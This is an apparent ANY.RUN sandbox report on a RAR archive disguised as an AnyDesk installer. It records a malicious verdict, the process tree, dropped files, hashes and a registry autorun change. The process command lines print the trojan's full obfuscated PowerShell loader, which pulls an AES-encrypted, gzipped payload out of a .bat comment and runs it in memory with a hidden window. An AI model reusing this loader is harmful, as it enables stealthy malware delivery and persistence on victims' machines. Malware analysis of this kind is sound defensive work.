File name:

AnyDesk 8.0.3 (2023) PC.rar

Full analysis: https://app.any.run/tasks/17f7cccf-ea3b-444d-966e-4b2ad1fe8f5b
Verdict: Malicious activity
Analysis date: May 03, 2024, 13:51:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

DE7A3235FF507F566123D98EBD0C1E49

SHA1:

BBCD0334B8742DF01FC0D92E807EE8A95904E15D

SHA256:

5A8A76A01446C6A7F89D3BFCB7E97A1E3F559251912C7FAEAB16CA5B1CF119AE

SSDEEP:

98304:3g3f+cyLgG8LBzJvuRS7gzWxXZW71SCe7FuXum3UTCB/8D8VTqOfd6tMuGjnLoSH:KOxhZjtMbajh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 3972)
      • cmd.exe (PID: 1640)
      • cmd.exe (PID: 2524)

    • Starts PowerShell from an unusual location

      • cmd.exe (PID: 1640)
      • cmd.exe (PID: 2524)

    • Uses AES cipher (POWERSHELL)

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)

    • Changes the autorun value in the registry

      • setup.bat.exe (PID: 2232)

  • SUSPICIOUS

    • Process drops legitimate windows executable

      • cmd.exe (PID: 1640)
      • cmd.exe (PID: 2524)

    • Executable content was dropped or overwritten

      • cmd.exe (PID: 1640)
      • cmd.exe (PID: 2524)

    • Starts a Microsoft application from unusual location

      • setup.bat.exe (PID: 2232)
      • setup.bat.exe (PID: 1964)

    • Cryptography encrypted command line is found

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)

    • Checks Windows Trust Settings

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)
      • setup.bat.exe (PID: 1964)

    • Reads security settings of Internet Explorer

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)
      • setup.bat.exe (PID: 1964)

    • Reads the Internet Settings

      • wscript.exe (PID: 2080)
      • setup.bat.exe (PID: 2232)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2080)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2080)

    • Reads the date of Windows installation

      • setup.bat.exe (PID: 1964)

    • The process executes VB scripts

      • setup.bat.exe (PID: 2232)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2080)

    • The executable file from the user directory is run by the CMD process

      • startup_str_240.bat.exe (PID: 2556)

  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 3972)

    • Manual execution by a user

      • cmd.exe (PID: 1640)
      • setup.bat.exe (PID: 1964)

    • Checks supported languages

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)
      • setup.bat.exe (PID: 1964)

    • Process checks Powershell version

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)
      • setup.bat.exe (PID: 1964)

    • Reads the computer name

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)
      • setup.bat.exe (PID: 1964)

    • Reads the machine GUID from the registry

      • setup.bat.exe (PID: 2232)
      • setup.bat.exe (PID: 1964)
      • startup_str_240.bat.exe (PID: 2556)

    • Create files in a temporary directory

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)
      • setup.bat.exe (PID: 1964)

    • Uses string replace method (POWERSHELL)

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)

    • Uses string split method (POWERSHELL)

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)

    • Gets data length (POWERSHELL)

      • setup.bat.exe (PID: 2232)
      • startup_str_240.bat.exe (PID: 2556)

    • Creates files or folders in the user directory

      • setup.bat.exe (PID: 2232)

    • Script raised an exception (POWERSHELL)

      • startup_str_240.bat.exe (PID: 2556)

    • Checks current location (POWERSHELL)

      • setup.bat.exe (PID: 1964)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
7
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe cmd.exe setup.bat.exe wscript.exe no specs cmd.exe startup_str_240.bat.exe no specs setup.bat.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1640C:\Windows\system32\cmd.exe /c ""C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC\data\setup.bat" "C:\Windows\System32\cmd.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1964"C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC\data\setup.bat.exe" C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC\data\setup.bat.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
3221225786
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\users\admin\desktop\anydesk 8.0.3 (2023) pc\data\setup.bat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2080"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Roaming\startup_str_240.vbs" C:\Windows\System32\wscript.exe—setup.bat.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2232"setup.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_A_BjKdg = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC\data\setup.bat').Split([Environment]::NewLine);foreach ($_A_hfGRk in $_A_BjKdg) { if ($_A_hfGRk.StartsWith(':: @')) { $_A_BOYqP = $_A_hfGRk.Substring(4); break; }; };$_A_BOYqP = [System.Text.RegularExpressions.Regex]::Replace($_A_BOYqP, '_A_', '');$_A_IPOBz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_A_BOYqP);$_A_TIXkQ = New-Object System.Security.Cryptography.AesManaged;$_A_TIXkQ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_A_TIXkQ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_A_TIXkQ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uokJBwwXkSRKaYgPVEGk265v/cS9N0sFhU2OoLmepew=');$_A_TIXkQ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lckaL1OJsWsKP+vaHcQjNg==');$_A_pOmjo = $_A_TIXkQ.CreateDecryptor();$_A_IPOBz = $_A_pOmjo.TransformFinalBlock($_A_IPOBz, 0, $_A_IPOBz.Length);$_A_pOmjo.Dispose();$_A_TIXkQ.Dispose();$_A_Obvgy = New-Object System.IO.MemoryStream(, $_A_IPOBz);$_A_IKvlO = New-Object System.IO.MemoryStream;$_A_rzFfD = New-Object System.IO.Compression.GZipStream($_A_Obvgy, [IO.Compression.CompressionMode]::Decompress);$_A_rzFfD.CopyTo($_A_IKvlO);$_A_rzFfD.Dispose();$_A_Obvgy.Dispose();$_A_IKvlO.Dispose();$_A_IPOBz = $_A_IKvlO.ToArray();$_A_aTTbu = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_A_IPOBz);$_A_OsTAO = $_A_aTTbu.EntryPoint;$_A_OsTAO.Invoke($null, (, [string[]] ('')))C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC\data\setup.bat.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\users\admin\desktop\anydesk 8.0.3 (2023) pc\data\setup.bat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2524C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Roaming\startup_str_240.bat" "C:\Windows\System32\cmd.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2556"startup_str_240.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_A_BjKdg = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\admin\AppData\Roaming\startup_str_240.bat').Split([Environment]::NewLine);foreach ($_A_hfGRk in $_A_BjKdg) { if ($_A_hfGRk.StartsWith(':: @')) { $_A_BOYqP = $_A_hfGRk.Substring(4); break; }; };$_A_BOYqP = [System.Text.RegularExpressions.Regex]::Replace($_A_BOYqP, '_A_', '');$_A_IPOBz = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_A_BOYqP);$_A_TIXkQ = New-Object System.Security.Cryptography.AesManaged;$_A_TIXkQ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_A_TIXkQ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_A_TIXkQ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uokJBwwXkSRKaYgPVEGk265v/cS9N0sFhU2OoLmepew=');$_A_TIXkQ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lckaL1OJsWsKP+vaHcQjNg==');$_A_pOmjo = $_A_TIXkQ.CreateDecryptor();$_A_IPOBz = $_A_pOmjo.TransformFinalBlock($_A_IPOBz, 0, $_A_IPOBz.Length);$_A_pOmjo.Dispose();$_A_TIXkQ.Dispose();$_A_Obvgy = New-Object System.IO.MemoryStream(, $_A_IPOBz);$_A_IKvlO = New-Object System.IO.MemoryStream;$_A_rzFfD = New-Object System.IO.Compression.GZipStream($_A_Obvgy, [IO.Compression.CompressionMode]::Decompress);$_A_rzFfD.CopyTo($_A_IKvlO);$_A_rzFfD.Dispose();$_A_Obvgy.Dispose();$_A_IKvlO.Dispose();$_A_IPOBz = $_A_IKvlO.ToArray();$_A_aTTbu = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_A_IPOBz);$_A_OsTAO = $_A_aTTbu.EntryPoint;$_A_OsTAO.Invoke($null, (, [string[]] ('')))C:\Users\admin\AppData\Roaming\startup_str_240.bat.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\users\admin\appdata\roaming\startup_str_240.bat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3972"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC.rar"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
Total events
15 055
Read events
14 962
Write events
93
Delete events
0

Modification events

(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3972) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC.rar
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3972) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
4
Suspicious files
8
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
3972WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3972.10859\AnyDesk 8.0.3 (2023) PC\data\AnyDeskportable.exeexecutable
MD5:37E172BE64B12F3207300D11B74656B8
SHA256:BC747E3BF7B6E02C09F3D18BDD0E64EEF62B940B2F16C9C72E647EEC85CF0138
2232setup.bat.exeC:\Users\admin\AppData\Local\Temp\04cnpzrm.nfp.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2232setup.bat.exeC:\Users\admin\AppData\Local\Temp\5mzpju0o.2sc.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3972WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa3972.10859\AnyDesk 8.0.3 (2023) PC\data\setup.dlltext
MD5:F07A3F5270D4EAAAB6B0F9F492278B6D
SHA256:2CB40E7F791275CD2735BC405DE4686D5BCECB07BAE643D5DF8F4ED53C54DE19
2232setup.bat.exeC:\Users\admin\AppData\Roaming\startup_str_240.battext
MD5:F07A3F5270D4EAAAB6B0F9F492278B6D
SHA256:2CB40E7F791275CD2735BC405DE4686D5BCECB07BAE643D5DF8F4ED53C54DE19
1640cmd.exeC:\Users\admin\Desktop\AnyDesk 8.0.3 (2023) PC\data\setup.bat.exeexecutable
MD5:EB32C070E658937AA9FA9F3AE629B2B8
SHA256:70BA57FB0BF2F34B86426D21559F5F6D05C1268193904DE8E959D7B06CE964CE
2232setup.bat.exeC:\Users\admin\AppData\Roaming\startup_str_240.vbstext
MD5:A05B7B1B9ACBB2C510CB56CF100F068C
SHA256:1880D578658D3DE2F08F057BA9545D86C8C1E2CC8FD8C8CB8E070AD613069580
2556startup_str_240.bat.exeC:\Users\admin\AppData\Local\Temp\lbjwnuvt.hed.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2556startup_str_240.bat.exeC:\Users\admin\AppData\Local\Temp\p2n0lvol.4sb.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
1964setup.bat.exeC:\Users\admin\AppData\Local\Temp\justu151.qvj.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
224.0.0.252:5355
—
—
—
unknown

DNS requests

No data

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
AnyDesk 8.0.3 (2023) PC.rar